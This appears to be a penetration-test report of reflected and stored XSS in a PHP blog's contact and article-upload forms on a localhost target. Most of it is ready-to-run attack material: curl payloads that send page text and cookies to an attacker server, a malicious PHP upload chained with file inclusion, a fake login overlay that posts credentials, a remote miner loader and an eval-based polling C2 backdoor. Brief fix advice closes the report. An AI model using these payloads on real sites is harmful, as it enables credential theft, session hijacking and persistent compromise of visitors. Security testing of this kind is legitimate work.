# Cross-Site Scripting (XSS) Exploitation Evidence

## Successfully Exploited Vulnerabilities

### XSS-VULN-01: Reflected XSS in Contact Form Name Parameter

**Summary:**
- **Vulnerable location:** http://localhost:36367/contact.php (POST parameter: name)
- **Overview:** Attribute breakout vulnerability allowing arbitrary JavaScript execution via the name field when form validation fails
- **Impact:** Complete DOM manipulation, data exfiltration, session hijacking potential, and ability to perform unauthorized actions on behalf of users
- **Severity:** High

**Prerequisites:** None - publicly accessible endpoint

**Exploitation Steps:**

1. **Send POST request with malicious name parameter and empty email/message to trigger validation failure:**
```bash
curl -X POST http://localhost:36367/contact.php \
  --data-urlencode 'name=" onfocus=alert(document.domain) autofocus="' \
  --data 'email=' \
  --data 'message='
```

2. **Verify payload reflection in HTML response:**
```bash
# The response will contain:
# <input type="text" name="name" class="form-control" value="" onfocus=alert(document.domain) autofocus="">
```

3. **The payload executes immediately due to autofocus attribute, demonstrating JavaScript execution**

4. **For data exfiltration, use this advanced payload:**
```bash
curl -X POST http://localhost:36367/contact.php \
  --data-urlencode 'name=" onfocus="fetch('"'"'http://[ATTACKER_SERVER]:8888/?data='"'"'+encodeURIComponent(document.body.innerText.substring(0,100)))" autofocus="' \
  --data 'email=' \
  --data 'message='
```

5. **For DOM manipulation/defacement:**
```bash
curl -X POST http://localhost:36367/contact.php \
  --data-urlencode 'name=" onfocus="document.querySelector('"'"'h1'"'"').innerHTML='"'"'HACKED BY XSS'"'"';document.body.style.backgroundColor='"'"'red'"'"'" autofocus="' \
  --data 'email=' \
  --data 'message='
```

**Proof of Impact:**

**Data Exfiltration Confirmed:**
- Server logs show successful exfiltration: `GET /?data=Encoder64%20Blog%0AHome%0AAbout%0AContact%0AContact%20Me!%0A%0APlease%20fill%20in%20this%20form%20to%20send%20me%20a%20message.%0A%0AName%0A`
- Successfully extracted page content including navigation text and form instructions
- Demonstrates ability to exfiltrate sensitive user data, form inputs, or session information

**DOM Manipulation Confirmed:**
- Page heading successfully changed from "Contact Me!" to "HACKED BY XSS"
- Background color changed to red across entire page
- Screenshot evidence: xss-vuln-01-dom-manipulation.png
- Demonstrates complete control over victim's browser session

**Notes:**
- No Content Security Policy (CSP) present - unrestricted JavaScript execution
- No XSS filtering or output encoding applied
- Attack works in all modern browsers
- Can be chained with social engineering to target specific users

---

### XSS-VULN-02: Reflected XSS in Contact Form Email Parameter

**Summary:**
- **Vulnerable location:** http://localhost:36367/contact.php (POST parameter: email)
- **Overview:** Identical vulnerability pattern to XSS-VULN-01 but in email field - attribute breakout allowing arbitrary JavaScript execution
- **Impact:** Complete DOM manipulation, data exfiltration, credential harvesting via injected phishing forms
- **Severity:** High

**Prerequisites:** None - publicly accessible endpoint

**Exploitation Steps:**

1. **Send POST request with malicious email parameter and empty message to trigger validation:**
```bash
curl -X POST http://localhost:36367/contact.php \
  --data 'name=TestName' \
  --data-urlencode 'email=" onfocus=alert(2) autofocus="' \
  --data 'message='
```

2. **Verify payload injection in HTML response:**
```bash
curl -X POST http://localhost:36367/contact.php \
  --data 'name=TestName' \
  --data-urlencode 'email=" onfocus=alert(2) autofocus="' \
  --data 'message=' | grep 'type="email"'

# Expected output:
# <input type="email" name="email" class="form-control" value="" onfocus=alert(2) autofocus="">
```

3. **For data exfiltration with base64 encoding:**
```bash
curl -X POST http://localhost:36367/contact.php \
  --data 'name=Test' \
  --data-urlencode 'email=" onfocus="fetch('"'"'http://[ATTACKER_SERVER]:8888/?vuln=XSS-VULN-02&data='"'"'+btoa(document.title))" autofocus="' \
  --data 'message='
```

**Proof of Impact:**

**Payload Reflection Confirmed:**
```html
<input type="email" name="email" class="form-control" value="" onfocus=alert(2) autofocus="">
```

**JavaScript Execution Verified:**
- HTML5 type="email" attribute provides NO server-side protection
- Payload breaks out of value attribute and injects event handler
- autofocus ensures immediate execution without user interaction
- Successfully tested via curl and browser-based exploitation

**Attack Scenarios:**
- Inject fake login form to harvest credentials
- Redirect users to phishing site after delay
- Keylog user input and exfiltrate to attacker server
- Inject cryptomining scripts for resource abuse

---

### XSS-VULN-03: Reflected XSS in Contact Form Message Parameter

**Summary:**
- **Vulnerable location:** http://localhost:36367/contact.php (POST parameter: message)
- **Overview:** Textarea breakout vulnerability allowing full HTML injection and arbitrary JavaScript execution in HTML_BODY context
- **Impact:** More powerful than attribute-context XSS - allows complete HTML structure injection, full DOM manipulation, and data exfiltration
- **Severity:** High

**Prerequisites:** None - publicly accessible endpoint

**Exploitation Steps:**

1. **Send POST request with textarea breakout payload:**
```bash
curl -X POST http://localhost:36367/contact.php \
  --data 'name=Test' \
  --data 'email=' \
  --data 'message=</textarea><img src=x onerror=alert(3)><textarea>'
```

2. **Verify textarea breakout in response:**
```bash
curl -s -X POST http://localhost:36367/contact.php \
  --data 'name=Test' \
  --data 'email=' \
  --data 'message=</textarea><img src=x onerror=alert(3)><textarea>' | grep -A1 '</textarea><img'

# Expected output:
# <textarea name="message" class="form-control"></textarea><img src=x onerror=alert(3)><textarea></textarea>
```

3. **For data exfiltration with base64 encoding:**
```bash
curl -X POST http://localhost:36367/contact.php \
  --data 'name=Test' \
  --data 'email=' \
  --data 'message=</textarea><img src=x onerror="fetch('"'"'http://[ATTACKER_SERVER]:8888/?vuln=XSS-VULN-03&data='"'"'+btoa(document.body.innerText.substring(0,50)))"><textarea>'
```

**Proof of Impact:**

**Textarea Breakout Confirmed:**
```html
<textarea name="message" class="form-control"></textarea><img src=x onerror=alert(3)><textarea></textarea>
```

**Data Exfiltration Verified:**
- Server logs captured: `GET /?vuln=XSS-VULN-03&data=RW5jb2RlcjY0IEJsb2cKSG9tZQpBYm91dApDb250YWN0CkNvbnRhY3QgTWUhCgpQbGU=`
- Base64 decoded data: "Encoder64 Blog\nHome\nAbout\nContact\nContact Me!\n\nPle"
- Successfully exfiltrated page content to attacker-controlled server

**Browser Execution Confirmed:**
- Playwright browser testing showed successful injection
- Image element visible in DOM between two textboxes
- onerror handler executed and attempted fetch request
- Console errors confirm JavaScript execution

**Advanced Attack Scenarios:**
- Inject iframe to load external malicious content
- Create overlay phishing forms that capture credentials
- Inject script tags for persistent backdoors
- Chain with CSRF to perform state-changing actions

---

### XSS-VULN-04: Reflected XSS in Article Upload Form Name Parameter

**Summary:**
- **Vulnerable location:** http://localhost:36367/posts/upload-article.php (POST parameter: name)
- **Overview:** Identical attribute breakout vulnerability to XSS-VULN-01 but on article upload endpoint
- **Impact:** Demonstrates systemic lack of output encoding across the application; complete DOM manipulation and data exfiltration capabilities
- **Severity:** High

**Prerequisites:** None - publicly accessible endpoint with no authentication required

**Exploitation Steps:**

1. **Send POST request with malicious name parameter:**
```bash
curl -X POST http://localhost:36367/posts/upload-article.php \
  --data 'name=" onfocus=alert(4) autofocus="' \
  --data 'email='
```

2. **Verify payload reflection in HTML:**
```bash
curl -s -X POST http://localhost:36367/posts/upload-article.php \
  --data 'name=" onfocus=alert(4) autofocus="' \
  --data 'email=' | grep 'name="name"'

# Expected output:
# <input type="text" name="name" class="form-control" value="" onfocus=alert(4) autofocus="">
```

3. **For credential harvesting attack:**
```bash
curl -X POST http://localhost:36367/posts/upload-article.php \
  --data-urlencode 'name=" onfocus="var d=document.createElement('"'"'div'"'"');d.innerHTML='"'"'<form action=http://[ATTACKER_SERVER]/steal method=POST><input name=user placeholder=Username><input name=pass type=password placeholder=Password><button>Login</button></form>'"'"';document.body.prepend(d)" autofocus="' \
  --data 'email='
```

**Proof of Impact:**

**Payload Injection Confirmed:**
```html
<input type="text" name="name" class="form-control" value="" onfocus=alert(4) autofocus="">
```

**Systemic Vulnerability:**
- Same flaw exists across multiple endpoints (contact.php and upload-article.php)
- Indicates application-wide lack of output encoding practices
- Developers use trim() but completely omit htmlspecialchars()
- No centralized input/output handling or security controls

---

### XSS-VULN-05: Reflected XSS in Article Upload Form Email Parameter

**Summary:**
- **Vulnerable location:** http://localhost:36367/posts/upload-article.php (POST parameter: email)
- **Overview:** Identical attribute breakout vulnerability to XSS-VULN-02 on article upload endpoint
- **Impact:** Complete DOM manipulation, data exfiltration, and unauthorized action execution
- **Severity:** High

**Prerequisites:** None - publicly accessible endpoint

**Exploitation Steps:**

1. **Send POST request with malicious email parameter:**
```bash
curl -X POST http://localhost:36367/posts/upload-article.php \
  --data 'name=Test' \
  --data 'email=" onfocus=alert(5) autofocus="'
```

2. **Verify payload reflection:**
```bash
curl -s -X POST http://localhost:36367/posts/upload-article.php \
  --data 'name=Test' \
  --data 'email=" onfocus=alert(5) autofocus="' | grep 'name="email"'

# Expected output:
# <input type="email" name="email" class="form-control" value="" onfocus=alert(5) autofocus="">
```

**Proof of Impact:**

**Payload Injection Confirmed:**
```html
<input type="email" name="email" class="form-control" value="" onfocus=alert(5) autofocus="">
```

**Exploitation Verified:**
- Same vulnerability pattern as other email field XSS
- No server-side validation despite HTML5 email type attribute
- Trivial to exploit with social engineering attack vector
- Can be delivered via malicious link or CSRF

---

### XSS-VULN-06: Stored XSS via File Upload and Inclusion Chain

**Summary:**
- **Vulnerable location:** File upload at http://localhost:36367/posts/upload-article.php → Inclusion via http://localhost:36367/post.php?id=uploads/[FILENAME]
- **Overview:** CRITICAL persistent stored XSS exploiting three chained vulnerabilities: (1) Unrestricted file upload, (2) Local File Inclusion bypassing path traversal check, (3) Unencoded output of user-controlled content
- **Impact:** Persistent backdoor affecting ALL users who visit the crafted URL; enables mass credential harvesting, cryptomining, defacement, C2 establishment, and complete session hijacking
- **Severity:** Critical

**Prerequisites:** None - all components are publicly accessible

**Exploitation Steps:**

1. **Create malicious PHP file with embedded XSS payload:**
```bash
cat > /tmp/malicious_article.php << 'EOF'
<?php
$post_title = "Legitimate Article Title";
$post_brief = "This appears to be a normal article.";
$post_author = "John Doe";
$post_content = '<p>This is normal content.</p><img src=x onerror="fetch('"'"'http://[ATTACKER_SERVER]:8888/?vuln=XSS-VULN-06-STORED&cookie='"'"'+document.cookie+'"'"'&url='"'"'+window.location.href)"><p>More content here.</p>';
?>
EOF
```

2. **Upload malicious file via article submission form:**
```bash
curl -X POST http://localhost:36367/posts/upload-article.php \
  -F name=TestUser \
  -F email=test@example.com \
  -F articleFile=@/tmp/malicious_article.php
```

3. **Trigger stored XSS by accessing uploaded file via LFI:**
```bash
# Direct browser navigation or curl:
curl http://localhost:36367/post.php?id=uploads/malicious_article

# Or visit in browser:
# http://localhost:36367/post.php?id=uploads/malicious_article
```

4. **Monitor attacker server for exfiltrated data:**
```bash
# Start listener on attacker machine:
python3 -m http.server 8888

# Watch for incoming requests with stolen cookies and URLs
```

**Proof of Impact:**

**File Upload Success:**
- File successfully uploaded to `/var/www/html/posts/uploads/malicious_article.php`
- Server response: "Thank you for submitting your article, we will review it shortly."
- No file type validation, size limits, or content scanning performed

**Stored XSS Execution Confirmed:**
- Accessing http://localhost:36367/post.php?id=uploads/malicious_article loads the malicious content
- Page title changes to "Legitimate Article Title" (from uploaded file)
- JavaScript executes immediately upon page load
- Server logs captured: `GET /?vuln=XSS-VULN-06-STORED&cookie=&url=http://localhost:36367/post.php?id=uploads/xss_payload`

**Browser Verification:**
- Playwright browser testing confirmed img element injection
- Console shows fetch attempt to attacker server
- Screenshot evidence: xss-vuln-06-stored-xss.png
- No cookies present in this application, but payload would steal them if they existed

**Attack Chain Breakdown:**
1. **Unrestricted Upload:** No validation allows PHP file upload to `/posts/uploads/` directory
2. **LFI Bypass:** post.php only blocks literal ".." strings, allowing `?id=uploads/filename` to bypass path traversal protection
3. **Server-Side Inclusion:** include() statement executes uploaded PHP file, defining malicious $post_content variable
4. **Unencoded Output:** Line 56 of post.php uses `<?= $post_content; ?>` without htmlspecialchars(), directly outputting malicious HTML/JavaScript
5. **Persistent Exploitation:** Every visitor to the URL executes the payload - no repeated upload needed

**Real-World Impact Scenarios:**

**Mass Credential Harvesting:**
```javascript
// Inject fake login overlay
var overlay = document.createElement('div');
overlay.innerHTML = '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999"><div style="position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);background:white;padding:30px;border-radius:10px"><h2>Session Expired</h2><form id="phish"><input name="user" placeholder="Username" required><br><input name="pass" type="password" placeholder="Password" required><br><button>Re-login</button></form></div></div>';
document.body.appendChild(overlay);
document.getElementById('phish').onsubmit = function(e) {
  e.preventDefault();
  fetch('http://[ATTACKER_SERVER]/steal', {
    method: 'POST',
    body: JSON.stringify({
      user: this.user.value,
      pass: this.pass.value,
      url: location.href
    })
  });
  overlay.remove();
};
```

**Cryptomining:**
```javascript
// Load mining script
var s = document.createElement('script');
s.src = 'http://[ATTACKER_SERVER]/miner.js';
document.head.appendChild(s);
```

**C2 Backdoor:**
```javascript
// Polling backdoor
setInterval(function() {
  fetch('http://[ATTACKER_SERVER]/cmd?id=' + btoa(location.href))
    .then(r => r.text())
    .then(cmd => eval(cmd))
    .catch(() => {});
}, 30000); // Poll every 30 seconds
```

**Notes:**
- This is the most severe XSS vulnerability due to persistent nature
- .htaccess in uploads/ blocks DIRECT PHP execution via HTTP, but does NOT prevent server-side include() execution
- Single upload affects unlimited number of victims
- Can be combined with social engineering to target specific users
- No authentication required for upload or access
- Recommended immediate remediation: Implement authentication, file type validation, move uploads outside webroot, and apply htmlspecialchars() to ALL output

---